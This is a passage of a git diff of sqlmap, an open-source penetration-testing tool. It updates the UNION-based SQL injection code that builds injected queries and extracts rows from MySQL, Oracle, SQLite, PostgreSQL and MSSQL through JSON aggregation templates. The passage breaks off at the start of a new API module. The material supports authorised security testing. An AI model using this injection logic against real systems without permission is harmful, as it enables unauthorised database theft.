if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: + if kb.fuzzUnionTest is None: + msg = "do you want to (re)try to find proper " + msg += "UNION column types with fuzzy test? [y/N] " + + kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + if kb.fuzzUnionTest: + kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) - if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1: + if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " - test = readInput(message, default="Y") - if test[0] not in ("y", "Y"): + + if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " - warnMsg += "(e.g. --union-char=1) " + warnMsg += "(e.g. '--union-char=1') " else: - kb.uChar = str(randomInt(2)) - validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) + conf.uChar = kb.uChar = str(randomInt(2)) + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " - warnMsg += "back-end DBMS (e.g. --dbms=mysql) " + warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " - if not all([validPayload, vector]) and not warnMsg.endswith("consider "): + if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) + if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) + conf.uChar, kb.uChar = uChars + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + return validPayload, vector +@stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ - This method tests if the target url is affected by an inband + This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return - kb.technique = PAYLOAD.TECHNIQUE.UNION - validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + negativeLogic = kb.negativeLogic + setTechnique(PAYLOAD.TECHNIQUE.UNION) + + try: + if negativeLogic: + pushValue(kb.negativeLogic) + pushValue(conf.string) + pushValue(conf.code) + + kb.negativeLogic = False + conf.string = conf.code = None + + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + finally: + if negativeLogic: + conf.code = popValue() + conf.string = popValue() + kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index ddc85bf1792..b544b56acde 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import json import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue @@ -17,132 +17,231 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult +from lib.core.common import firstNotNone from lib.core.common import flattenValue from lib.core.common import getConsoleWidth -from lib.core.common import getUnicode +from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique +from lib.core.common import isDigit +from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues +from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage -from lib.core.common import wasLastRequestDBMSError -from lib.core.convert import htmlunescape +from lib.core.common import unArrayizeValue +from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapSyntaxException -from lib.core.settings import FROM_DUMMY_TABLE +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH +from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode +from thirdparty import six +from thirdparty.odict import OrderedDict -def __oneShotUnionUse(expression, unpack=True, limited=False): - retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as inband data is stored raw unconverted +def _oneShotUnionUse(expression, unpack=True, limited=False): + retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: - # Prepare expression with delimiters - injExpression = unescaper.unescape(agent.concatQuery(expression, unpack)) + vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector - where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None + if not kb.jsonAggMode: + injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) + kb.unionDuplicates = vector[7] + kb.forcePartialUnion = vector[8] + + # Note: introduced columns in 1.4.2.42#dev + try: + kb.tableFrom = vector[9] + kb.unionTemplate = vector[10] + except IndexError: + pass + + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) + where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] + else: + injExpression = unescaper.escape(expression) + where = vector[6] + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) - # Forge the inband SQL injection request - vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector - kb.unionDuplicates = vector[7] - query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, content=True, raise404=False) + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(PAYLOAD.TECHNIQUE.UNION) + if page and kb.chars.start.upper() in page and kb.chars.start not in page: + singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") - # Parse the returned page to get the exact union-based - # SQL injection output - def _(regex): - return reduce(lambda x, y: x if x is not None else y, ( \ - extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ - if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ - None) + page = page.lower() - # Automatically patching last char trimming cases - if kb.chars.stop not in page and kb.chars.stop[:-1] in page: - warnMsg = "automatically patching output having last char trimmed" - singleTimeWarnMessage(warnMsg) - page = page.replace(kb.chars.stop[:-1], kb.chars.stop) + incrementCounter(PAYLOAD.TECHNIQUE.UNION) - retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) + if kb.jsonAggMode: + for _page in (page or "", (page or "").replace('\\"', '"')): + if Backend.isDbms(DBMS.MSSQL): + output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + + if output: + try: + retVal = None + output_decoded = htmlUnescape(output) + json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) + + if not isinstance(json_data, list): + json_data = [json_data] + + if json_data and isinstance(json_data[0], dict): + fields = list(json_data[0].keys()) + + if fields: + parts = [] + for row in json_data: + parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) + retVal = "".join(parts) + except: + retVal = None + else: + retVal = getUnicode(retVal) + elif Backend.isDbms(DBMS.PGSQL): + output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: + retVal = output + else: + output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: + try: + retVal = "" + for row in json.loads(output): + # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] + for match in re.finditer(r"base64:type\d+:([^ ]+)", row): + row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) + retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) + except: + retVal = None + else: + retVal = getUnicode(retVal) + + if retVal: + break + else: + # Parse the returned page to get the exact UNION-based + # SQL injection output + def _(regex): + return firstNotNone( + extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), + extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) + ) + + # Automatically patching last char trimming cases + if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): + warnMsg = "automatically patching output having last char trimmed" + singleTimeWarnMessage(warnMsg) + page = page.replace(kb.chars.stop[:-1], kb.chars.stop) + + retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) - # Special case when DBMS is Microsoft SQL Server and error message is used as a result of inband injection - if Backend.isDbms(DBMS.MSSQL) and wasLastRequestDBMSError(): - retVal = htmlunescape(retVal).replace("<br>", "\n") + # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection + if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): + retVal = htmlUnescape(retVal).replace("<br>", "\n") - hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) - else: + hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) + + elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: - warnMsg = "possible server trimmed output detected (probably due to its length): " - warnMsg += trimmed - logger.warn(warnMsg) + warnMsg = "possible server trimmed output detected " + warnMsg += "(probably due to its length and/or content): " + warnMsg += safecharencode(trimmed) + logger.warning(warnMsg) + + elif re.search(r"ORDER BY [^ ]+\Z", expression): + debugMsg = "retrying failed SQL query without the ORDER BY clause" + singleTimeDebugMessage(debugMsg) + + expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) + retVal = _oneShotUnionUse(expression, unpack, limited) + + elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): + debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) + singleTimeDebugMessage(debugMsg) + + kb.nchar = False + retVal = _oneShotUnionUse(expression, unpack, limited) + else: + vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector + kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): - def __configUnionChar(char): - if not isinstance(char, basestring): + def _configUnionChar(char): + if not isinstance(char, six.string_types): return kb.uChar = char if conf.uChar is not None: - kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) + kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) - def __configUnionCols(columns): - if not isinstance(columns, basestring): + def _configUnionCols(columns): + if not isinstance(columns, six.string_types): return - columns = columns.replace(" ", "") - if "-" in columns: - colsStart, colsStop = columns.split("-") + columns = columns.replace(' ', "") + if '-' in columns: + colsStart, colsStop = columns.split('-') else: colsStart, colsStop = columns, columns - if not colsStart.isdigit() or not colsStop.isdigit(): - raise sqlmapSyntaxException, "--union-cols must be a range of integers" + if not isDigit(colsStart) or not isDigit(colsStop): + raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: - errMsg = "--union-cols range has to be from lower to " + errMsg = "--union-cols range has to represent lower to " errMsg += "higher number of columns" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - __configUnionChar(char) - __configUnionCols(conf.uCols or columns) + _configUnionChar(char) + _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ - This function tests for an inband SQL injection on the target - url then call its subsidiary function to effectively perform an - inband SQL injection on the affected url + This function tests for an UNION SQL injection on the target + URL then call its subsidiary function to effectively perform an + UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) @@ -159,88 +258,52 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) - if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper(): - # No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps - expression = expression[:expression.upper().rindex(" ORDER BY ")] + # Set kb.partRun in case the engine is called from the API + kb.partRun = getPartRun(alias=False) if conf.api else None + + if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): + # Removed ORDER BY clause because UNION does not play well with it + expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) + debugMsg = "stripping ORDER BY clause from statement because " + debugMsg += "it does not play well with UNION query SQL injection" + singleTimeDebugMessage(debugMsg) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): + kb.jsonAggMode = True + if Backend.isDbms(DBMS.MYSQL): + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.ORACLE): + query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.SQLITE): + query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item + query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.MSSQL): + query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + output = _oneShotUnionUse(query, False) + value = parseUnionPage(output) + kb.jsonAggMode = False # We have to check if the SQL query might return multiple entries - # and in such case forge the SQL limiting the query output one - # entry per time - # NOTE: I assume that only queries that get data from a table can + # if the technique is partial UNION query and in such case forge the + # SQL limiting the query output one entry at a time + # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ - (dump and (conf.limitStart or conf.limitStop))) and \ - " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ - and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): - - limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) - topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - - if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query + if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query - - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - - elif topLimit: - startLimit = 0 - stopLimit = int(topLimit.group(1)) - limitCond = int(stopLimit) > 1 - - elif Backend.isDbms(DBMS.ORACLE): - limitCond = False - else: - limitCond = True - - # I assume that only queries NOT containing a "LIMIT #, 1" - # (or similar depending on the back-end DBMS) can return - # multiple entries if limitCond: - if limitRegExp: - stopLimit = int(stopLimit) - - # From now on we need only the expression until the " LIMIT " - # (or similar, depending on the back-end DBMS) word - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - stopLimit += startLimit - untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) - expression = expression[:untilLimitChar] - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - stopLimit += startLimit - elif dump: - if conf.limitStart: - startLimit = conf.limitStart - 1 - if conf.limitStop: - stopLimit = conf.limitStop - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] - output = __oneShotUnionUse(countedExpression, unpack) - count = parseUnionPage(output) + output = _oneShotUnionUse(countedExpression, unpack) + count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: @@ -248,106 +311,157 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " - infoMsg += "%d entries" % stopLimit - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) - elif count and (not isinstance(count, basestring) or not count.isdigit()): + elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif not count or int(count) == 0: + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value - threadData = getCurrentThreadData() - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - numThreads = min(conf.threads, (stopLimit - startLimit)) - threadData.shared.value = BigArray() + if isNumPosStrValue(count) and int(count) > 1: + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + numThreads = min(conf.threads, (stopLimit - startLimit)) + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info for " + debugMsg += "large number of rows as it might take too long" + logger.debug(debugMsg) + + try: + def unionThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + threadData.shared.counter += 1 + num = next(threadData.shared.limits) + except StopIteration: + break + + if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + field = expressionFieldsList[0] + elif Backend.isDbms(DBMS.ORACLE): + field = expressionFieldsList + else: + field = None - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) + limitedExpr = agent.limitQuery(num, expression, field) + output = _oneShotUnionUse(limitedExpr, unpack, True) - try: - def unionThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limits: - try: - num = threadData.shared.limits.next() - except StopIteration: + if not kb.threadContinue: break - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - field = expressionFieldsList[0] - elif Backend.isDbms(DBMS.ORACLE): - field = expressionFieldsList - else: - field = None - - limitedExpr = agent.limitQuery(num, expression, field) - output = __oneShotUnionUse(limitedExpr, unpack, True) - - if not kb.threadContinue: - break - - if output: - if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])): - items = parseUnionPage(output) - if isNoneValue(items): - continue + if output: with kb.locks.value: - for item in arrayizeValue(items): - threadData.shared.value.append(item) - else: - items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) - - if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo): - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) - - if len(status) > width: - status = "%s..." % status[:width - 3] - - dataToStdout("%s\r\n" % status, True) - - runThreads(numThreads, unionThread) - - if conf.verbose == 1: - clearConsoleLine(True) - - except KeyboardInterrupt: - abortedFlag = True - - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) - - finally: - value = threadData.shared.value - kb.suppressResumeInfo = False + if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): + items = parseUnionPage(output) + + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + if isListLike(items): + # in case that we requested N columns and we get M!=N then we have to filter a bit + if len(items) > 1 and len(expressionFieldsList) > 1: + items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + items = [_ for _ in flattenValue(items)] + if len(items) > len(expressionFieldsList): + filtered = OrderedDict() + for item in items: + key = re.sub(r"[^A-Za-z0-9]", "", item).lower() + if key not in filtered or re.search(r"[^A-Za-z0-9]", item): + filtered[key] = item + items = list(six.itervalues(filtered)) + items = [items] + index = None + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, items)) + else: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, None)) + + items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): + threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] + if not isNoneValue(_): + threadData.shared.value.extend(arrayizeValue(_)) + del threadData.shared.buffered[0] + + if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: + _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) + + if len(status) > width and not conf.noTruncate: + status = "%s..." % status[:width - 3] + + dataToStdout("%s\n" % status) + + runThreads(numThreads, unionThread) + + if conf.verbose == 1: + clearConsoleLine(True) + + except KeyboardInterrupt: + abortedFlag = True + + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warning(warnMsg) + + finally: + for _ in sorted(threadData.shared.buffered): + if not isNoneValue(_[1]): + threadData.shared.value.extend(arrayizeValue(_[1])) + value = threadData.shared.value + kb.suppressResumeInfo = False if not value and not abortedFlag: - expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full inband doesn't play well with ORDER BY - value = __oneShotUnionUse(expression, unpack) + output = _oneShotUnionUse(expression, unpack) + value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/utils/api.py b/lib/utils/api.py new file mode 100644 index 00000000000..b0242b3adf7 --- /dev/null +++ b/lib/utils/api.py @@ -0,0 +1,918 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import contextlib +import logging +import os +import re +import shlex +import socket +import sqlite3 +import sys +import tempfile +import threading +import time + +from lib.core.common import dataToStdout +from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.common import saveConfig +from lib.core.common import setColor +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import dejsonize +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import jsonize +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.datatype import AttribDict +from lib.core.defaults import _defaults +from lib.core.dicts import PART_RUN_CONTENT_TYPES +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.enums import CONTENT_STATUS +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapConnectionException +from lib.core.log import LOGGER_HANDLER +from lib.core.optiondict import optDict +from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER +from lib.core.settings import RESTAPI_DEFAULT_ADDRESS +from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion +from lib.core.subprocessng import Popen +from lib.parse.cmdline import cmdLineParser +from thirdparty.bottle.bottle import error as return_error +from thirdparty.bottle.bottle import get +from thirdparty.bottle.bottle import hook +from thirdparty.bottle.bottle import post +from thirdparty.bottle.bottle import request +from thirdparty.bottle.bottle import response +from thirdparty.bottle.bottle import run +from thirdparty.bottle.bottle import server_names +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import input as _input +from thirdparty.six.moves import urllib as _urllib + +# Global data storage +class DataStore(object): + admin_token = "" + current_db = None + tasks = dict() + username = None + password = None + +# API objects +class Database(object): + filepath = None + + def __init__(self, database=None): + self.database = self.filepath if database is None else database + self.connection = None + 